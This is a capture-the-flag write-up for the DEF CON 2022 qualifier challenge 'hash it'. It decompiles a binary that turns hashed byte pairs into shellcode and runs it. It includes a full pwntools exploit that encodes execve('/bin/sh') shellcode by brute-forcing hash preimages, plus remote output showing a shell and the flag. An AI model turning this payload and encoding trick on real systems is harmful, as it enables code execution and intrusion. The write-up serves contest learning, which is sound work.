Tags: shellcode hashing 

Rating:

# DEF CON CTF Qualifier 2022

## hash it

[`challenge`](challenge)

Tags: _pwn_ _hash_ _shellcode_ _x86-64_

## Summary

Shellcode runner where each byte is the first digest byte (of one of four popular algorithms) of each pair of hashed bytes, i.e.:

```
shellcode[i] = hash[i & 3](byte[i] << 8 + byte[i+1]).digest[0]
```

## Analysis

### Decompile in Ghidra

```c
undefined4 main(void)
{
int iVar1;
void *__src;
void *__dest;
code *pcVar2;
uint uVar3;
uint uVar4;
ulong __size;
undefined local_3d;
uint local_3c [3];

alarm(10);
local_3c[0] = 0;
iVar1 = fread_frontend(stdin,local_3c,4);
if (iVar1 == 0) {
local_3c[0] = local_3c[0] >> 0x18 | (local_3c[0] & 0xff0000) >> 8 | (local_3c[0] & 0xff00) << 8 | local_3c[0] << 0x18;
__size = (ulong)local_3c[0];
__src = malloc(__size);
if ((__src != (void *)0x0) && (iVar1 = fread_frontend(stdin,__src,__size), iVar1 == 0)) {
if (local_3c[0] != 0) {
uVar3 = 0;
do {
uVar4 = uVar3 >> 1;
iVar1 = FUN_00101320(*(undefined *)((long)__src + (ulong)uVar3),
*(undefined *)((long)__src + (ulong)(uVar3 + 1)),&local_3d,
(&PTR_EVP_md5_001040a0)[uVar4 & 3]);
if (iVar1 != 0) {
return 0xffffffff;
}
uVar3 = uVar3 + 2;
*(undefined *)((long)__src + (ulong)uVar4) = local_3d;
} while (uVar3 < local_3c[0]);
}
__dest = mmap((void *)0x0,(ulong)(local_3c[0] >> 1),7,0x22,-1,0);
pcVar2 = (code *)memcpy(__dest,__src,(ulong)(local_3c[0] >> 1));
(*pcVar2)();
return 0;
}
}
return 0xffffffff;
}
```

The main `do`/`while` loop hashes pairs of chars by calling `FUN_00101320`, and specifying with this table, which hash to use:

```
PTR_EVP_md5_001040a0 XREF[2]: main:00101181(*),
main:001011b0(R)
001040a0 20 50 10 addr <EXTERNAL>::EVP_md5 = ??
00 00 00
00 00
PTR_EVP_sha1_001040a8 XREF[1]: main:001011b0(R)
001040a8 60 50 10 addr <EXTERNAL>::EVP_sha1 = ??
00 00 00
00 00
001040b0 88 50 10 addr <EXTERNAL>::EVP_sha256 = ??
00 00 00
00 00
001040b8 80 50 10 addr <EXTERNAL>::EVP_sha512 = ??
00 00 00
00 00
```

The first byte of the digest is stored in `local_3d` and that is then used to overwrite our original input:

```c
*(undefined *)((long)__src + (ulong)uVar4) = local_3d;
```

At the end of the loop, the decoded input is copied to a newly `mmap`'d space and executed.

## Exploit

```python
#!/usr/bin/env python3

from pwn import *
import hashlib

binary = context.binary = ELF('./hash_it',checksec=False)

shellcode = asm(f'''
lea rdi, [rip+binsh]
xor rsi, rsi
xor rdx, rdx
mov eax, {constants.SYS_execve}
syscall
binsh: .asciz "/bin/sh"
''')

s = b''
for i, c in enumerate(shellcode):
for j in range(2**16):
if i & 3 == 0: m = hashlib.md5()
if i & 3 == 1: m = hashlib.sha1()
if i & 3 == 2: m = hashlib.sha256()
if i & 3 == 3: m = hashlib.sha512()
m.update(p16(j))
if m.digest()[0] == c:
s += p16(j)
break
else:
print('failed')
sys.exit(1)

if args.REMOTE:
p = remote('hash-it-0-m7tt7b7whagjw.shellweplayaga.me',31337)
p.sendlineafter(b'Ticket please: ',b'ticket{TackCormorant970n22:7BX7Fil8VnjawYCOu7riER6pzHaYzLr7ZF3DYF8zJOC8Wr9P}')
sleep(0.2)
else:
p = process(binary.path)

p.send(p32(len(s))[::-1])
p.send(s)
p.interactive()
```

Above I'm just creating my shellcode, then encoding it by brute searching which pair of bytes will hash producing a first digest byte that matched my assembled shellcode.

That's it.

> I should have mentioned in the analysis section that we have to first send the length as exactly 4 bytes before sending the encoded shellcode.

Output:

```bash
# ./exploit.py REMOTE=1
[+] Opening connection to hash-it-0-m7tt7b7whagjw.shellweplayaga.me on port 31337: Done
[*] Switching to interactive mode
$ cat flag
flag{TackCormorant970n22:GhmoNCJeGsHN8kJ5TE3Jo7GnGV6F21KN2e8hQT2rrUEbPIsOaPrTWQy3CuB2IaUxA-36MthoyBMJy4Z_2Ht4dw}
```

Original writeup (https://github.com/datajerk/ctf-write-ups/tree/master/dc2022q/hash_it).